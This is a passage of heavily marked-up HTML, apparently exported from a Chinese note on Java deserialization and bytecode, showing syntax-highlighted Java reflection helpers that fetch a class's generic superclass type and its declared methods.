style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">如:</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> public EmployeeDao extends BaseDao</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">        &lt;Employee&lt; span&gt;
        &lt;/Employee&lt;&gt;</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ErrorTok&#39;;color: #FF0000;font-weight: bold;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ErrorTok&#39;;color: #FF0000;font-weight: bold;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span>* @</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">                  <t></t></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param clazz</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*/</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;AttributeTok&#39;;color: #7D9029;font-family: Consolas;">@SuppressWarnings</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;unchecked&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">static</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">T</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">T</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getSuperGenericType</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> clazz</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getSuperClassGenricType</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">clazz</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">0</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/**</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">循环向上转型,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">获取对象的</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> DeclaredMethod</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span>* @</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param methodName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param parameterTypes</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*/</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">static</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Method</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredMethod</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> methodName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> parameterTypes</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

